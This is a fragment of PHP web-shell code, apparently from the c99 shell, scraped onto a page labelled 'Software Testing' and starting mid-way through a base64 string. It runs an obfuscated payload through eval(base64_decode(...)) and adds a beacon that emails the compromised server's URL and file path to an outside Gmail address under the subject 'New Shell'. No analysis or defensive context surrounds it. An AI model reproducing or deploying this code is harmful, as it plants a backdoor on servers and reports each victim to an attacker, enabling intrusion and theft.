CwkcHJvbXB0KTtlY2hvICRidWZmO30NCj8+PC9kaXY+PC9ib2R5PjwvaHRtbD4='; eval(base64_decode($k2ll33d)); ?> <? $site = "www.dev-pts.com/vb"; if(!ereg($site, $_SERVER['SERVER_NAME'])) { $to = "mandrarami2000@gmail.com"; $subject = "EGFM"; $header = "from: New Shell "; $message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n"; $message .= "Path : " . __file__; $sentmail = @mail($to, $subject, $message, $header); echo ""; exit; } ?> <?php chdir($lastdir); c99shexit(); ?>
Categories: Software Testing

Pages